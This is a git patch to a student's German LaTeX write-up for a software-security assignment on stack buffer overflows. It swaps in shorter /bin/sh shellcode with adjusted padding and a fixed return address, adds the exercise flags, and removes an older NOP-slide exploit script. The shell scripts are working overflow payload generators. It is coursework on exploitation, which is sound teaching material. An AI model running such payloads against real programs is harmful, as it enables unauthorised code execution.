From 459d71216ad2033b3b87ef59b8917356ded9104e Mon Sep 17 00:00:00 2001 From: Paul Zinselmeyer Date: Sun, 23 Jun 2024 13:04:20 +0200 Subject: [PATCH] [Assignment-6] Nachtrag Task 6 --- .../abgabe.tex | 27 +++++-------------- 1 file changed, 6 insertions(+), 21 deletions(-) diff --git a/Assignment 6 - Software Security - Teil 2/abgabe.tex b/Assignment 6 - Software Security - Teil 2/abgabe.tex index 0f0e3f7..3b7abbe 100644 --- a/Assignment 6 - Software Security - Teil 2/abgabe.tex +++ b/Assignment 6 - Software Security - Teil 2/abgabe.tex @@ -139,38 +139,23 @@ \begin{exercise}[Stack-Based Buffer Overflow]{6} \begin{subexercises} - \item Mit dem folgenden Script wird eine Eingabe für das Programm generiert, sodass eine Shell ausgeführt wird:\\ +\item Mit dem folgenden Script wird eine Eingabe für das Programm generiert, sodass eine Shell ausgeführt wird. Die Flag lautet \lstinline|flag{THAT_WAS_EASY_HUH}|.\\ \begin{lstlisting}[language=Bash] #!/usr/bin/env sh -# 28 Byte Shellcode -SHELLCODE="\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80" +# 21 Byte Shellcode +SHELLCODE="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" # Padding to fill: -# - 72 Bytes to fill buff +# - 79 Bytes to fill buff # - 8 Bytes to fill the local variables before buff # - 4 Bytes to fill the saved ebp value -PADDING=$(printf "A%.0s" $(seq 1 84)) +PADDING=$(printf "A%.0s" $(seq 1 91)) # Address of the start of the buff array / shellcode RETADDR="\x1C\xDB\xFF\xFF" printf $SHELLCODE$PADDING$RETADDR \end{lstlisting} - \item Mit dem folgenden Script wird eine Eingabe für das Programm generiert, sodass eine Shell im Anschluss an eine NOP-Slide ausgeführt wird.:\\ - \begin{lstlisting}[language=Bash] -#!/usr/bin/env sh - -# 28 Byte Shellcode -SHELLCODE="\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80" -# NOP-Slide to fill: -# - 72 Bytes to fill buff -# - 8 Bytes to fill the local variables before buff -# - 4 Bytes to fill the saved ebp value -PADDING=$(printf "\\\\0x90%.0s" $(seq 1 84)) -# Address of the start of the buff array / shellcode -RETADDR="\x1C\xDB\xFF\xFF" - -printf $PADDING$SHELLCODE$RETADDR - \end{lstlisting} + \item Die Flag lautet \lstinline|flag{THEY_SEE_ME_SLIDIN_THEY_HATIN}|.\\ \end{subexercises} \end{exercise} \end{document}